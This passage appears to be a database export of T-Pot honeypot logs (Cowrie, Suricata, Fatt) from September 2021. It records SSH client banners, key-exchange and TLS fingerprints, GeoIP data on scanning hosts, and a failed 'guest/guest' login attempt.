"cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8b0d7e774921", "@version": "1", "timestamp": "2021-09-20T11:09:49.283769Z", "@timestamp": "2021-09-20T11:09:49.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25478	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:49.355078+03	2021-09-20 14:15:10.188471+03	{"_id": "ugblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bfb60212f333", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:49.355078Z", "@timestamp": "2021-09-20T11:09:49.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25479	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:09.490039+03	2021-09-20 14:15:10.19147+03	{"_id": "sQbmAnwBvYTbRNuEKBoD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34856, "dest_port": 443, "timestamp": "2021-09-20T11:10:09.490039", "@timestamp": "2021-09-20T11:10:09.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25480	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:10:09.532788+03	2021-09-20 14:15:10.19247+03	{"_id": "sgbmAnwBvYTbRNuEKBoD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34856, "timestamp": "2021-09-20T11:10:09.532788", "@timestamp": "2021-09-20T11:10:09.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25481	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:09.763182+03	2021-09-20 14:15:10.193471+03	{"_id": "swbmAnwBvYTbRNuEKBqU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [guest/guest] failed", "session": "d2c5878e810b", "@version": "1", "password": "guest", "username": "guest", "timestamp": "2021-09-20T11:10:09.763182Z", "@timestamp": "2021-09-20T11:10:09.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25482	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:10:13.387012+03	2021-09-20 14:15:10.19547+03	{"_id": "vgbmAnwBvYTbRNuENBpN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "e7e7f4b4ef29", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:10:13.387012Z", "@timestamp": "2021-09-20T11:10:13.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25483	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:10:13.675513+03	2021-09-20 14:15:10.19647+03	{"_id": "wgbmAnwBvYTbRNuENxql", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 16703, "dest_port": 22, "timestamp": "2021-09-20T11:10:13.675513", "@timestamp": "2021-09-20T11:10:13.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25484	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:10:13.676168+03	2021-09-20 14:15:10.197471+03	{"_id": "wwbmAnwBvYTbRNuEOBo2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "e7e7f4b4ef29", "@version": "1", "timestamp": "2021-09-20T11:10:13.676168Z", "@timestamp": "2021-09-20T11:10:13.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25485	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:10:08.917476+03	2021-09-20 14:15:10.19947+03	{"_id": "qgbmAnwBvYTbRNuEIxoF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1017767326713824, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 46790, "dest_port": 22, "timestamp": "2021-09-20T11:10:08.917476Z", "@timestamp": "2021-09-20T11:10:08.917Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25486	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:08.918+03	2021-09-20 14:15:10.20047+03	{"_id": "qwbmAnwBvYTbRNuEJBqr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d2c5878e810b", "@version": "1", "timestamp": "2021-09-20T11:10:08.918000Z", "@timestamp": "2021-09-20T11:10:08.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25487	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:10:09.436408+03	2021-09-20 14:15:10.20147+03	{"_id": "rwbmAnwBvYTbRNuEJhrv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 43758, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1116725522311352, "@version": "1", "in_iface": "enp5s0", "src_port": 60681, "dest_port": 53, "timestamp": "2021-09-20T11:10:09.436408Z", "@timestamp": "2021-09-20T11:10:09.436Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25488	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:11.042029+03	2021-09-20 14:15:10.20447+03	{"_id": "twbmAnwBvYTbRNuELBp8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 24 seconds", "session": "d2c5878e810b", "@version": "1", "duration": 24.768413305282593, "timestamp": "2021-09-20T11:10:11.042029Z", "@timestamp": "2021-09-20T11:10:11.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25489	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:10:13.384152+03	2021-09-20 14:15:10.20547+03	{"_id": "vQbmAnwBvYTbRNuENBpN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:16703 (192.168.176.2:22) [session: e7e7f4b4ef29]", "session": "e7e7f4b4ef29", "@version": "1", "protocol": "ssh", "src_port": 16703, "dest_port": 22, "timestamp": "2021-09-20T11:10:13.384152Z", "@timestamp": "2021-09-20T11:10:13.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25490	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:10:13.675427+03	2021-09-20 14:15:10.20647+03	{"_id": "vwbmAnwBvYTbRNuENhqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1563771488377873, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 16703, "dest_port": 22, "timestamp": "2021-09-20T11:10:13.675427Z", "@timestamp": "2021-09-20T11:10:13.675Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25491	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:13.389192+03	2021-09-20 14:15:10.20747+03	{"_id": "wQbmAnwBvYTbRNuENxql", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 16703, "timestamp": "2021-09-20T11:10:13.389192", "@timestamp": "2021-09-20T11:10:13.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25492	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:59.400204+03	2021-09-20 14:15:10.209469+03	{"_id": "oQbmAnwBvYTbRNuEABrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 